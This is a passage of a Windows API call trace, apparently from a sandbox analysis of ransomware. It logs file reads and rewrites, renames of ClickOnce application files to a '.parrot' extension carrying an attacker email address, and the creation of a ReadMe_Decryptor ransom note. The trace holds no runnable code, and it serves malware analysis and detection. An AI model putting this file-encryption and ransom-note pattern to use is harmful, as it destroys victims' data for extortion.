lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2240060 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2242ff8 [0036.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.453] WriteFile (in: hFile=0x270, lpBuffer=0x2243000*, nNumberOfBytesToWrite=0x43f8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2243000*, lpNumberOfBytesWritten=0x18e604*=0x43f8, lpOverlapped=0x0) returned 1 [0036.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242ff8 | out: hHeap=0x5b0000) returned 1 [0036.453] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.453] CloseHandle (hObject=0x270) returned 1 [0036.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6105c0 [0036.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x610718 [0036.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.454] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610718 | out: hHeap=0x5b0000) returned 1 [0036.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8a0 | out: hHeap=0x5b0000) returned 1 [0036.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0036.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0036.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x60c8b0 [0036.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.456] GetFileType (hFile=0x270) returned 0x1 [0036.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0036.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.468] lstrcmpW (lpString1="clickonce_bootstrap.exe.manifest", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.468] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x354b [0036.468] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3663, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.468] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.468] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.536] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.536] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x354b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x354b, lpOverlapped=0x0) returned 1 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.546] GetLastError () returned 0x0 [0036.546] SetLastError (dwErrCode=0x0) [0036.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.546] GetLastError () returned 0x0 [0036.546] SetLastError (dwErrCode=0x0) [0036.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.546] GetLastError () returned 0x0 [0036.547] SetLastError (dwErrCode=0x0) [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x2240060 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb) returned 0x606998 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0036.547] GetLastError () returned 0x0 [0036.547] SetLastError (dwErrCode=0x0) [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60c8a0 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.547] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d1978 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1978 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6105c0 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x610708 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2850 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610708 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0036.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22440a0 [0036.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0036.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x669238 [0036.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22440a0 | out: hHeap=0x5b0000) returned 1 [0036.550] WriteFile (in: hFile=0x270, lpBuffer=0x669240*, nNumberOfBytesToWrite=0x3668, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x669240*, lpNumberOfBytesWritten=0x18e604*=0x3668, lpOverlapped=0x0) returned 1 [0036.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0036.551] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3663, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.551] CloseHandle (hObject=0x270) returned 1 [0036.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6105c0 [0036.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x610718 [0036.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.552] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610718 | out: hHeap=0x5b0000) returned 1 [0036.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8a0 | out: hHeap=0x5b0000) returned 1 [0036.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0036.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x60c8b0 [0036.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.555] GetFileType (hFile=0x270) returned 0x1 [0036.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0036.565] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.cdf-ms", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.565] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0xee0 [0036.565] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xff8, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.565] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.565] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.568] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.568] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xee0, lpOverlapped=0x0) returned 1 [0036.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.569] GetLastError () returned 0x0 [0036.569] SetLastError (dwErrCode=0x0) [0036.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.569] GetLastError () returned 0x0 [0036.569] SetLastError (dwErrCode=0x0) [0036.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.569] GetLastError () returned 0x0 [0036.569] SetLastError (dwErrCode=0x0) [0036.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0036.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xef0) returned 0x5cce58 [0036.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1df3) returned 0x5cdd50 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0036.571] GetLastError () returned 0x0 [0036.571] SetLastError (dwErrCode=0x0) [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0036.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60c8a0 [0036.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.572] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 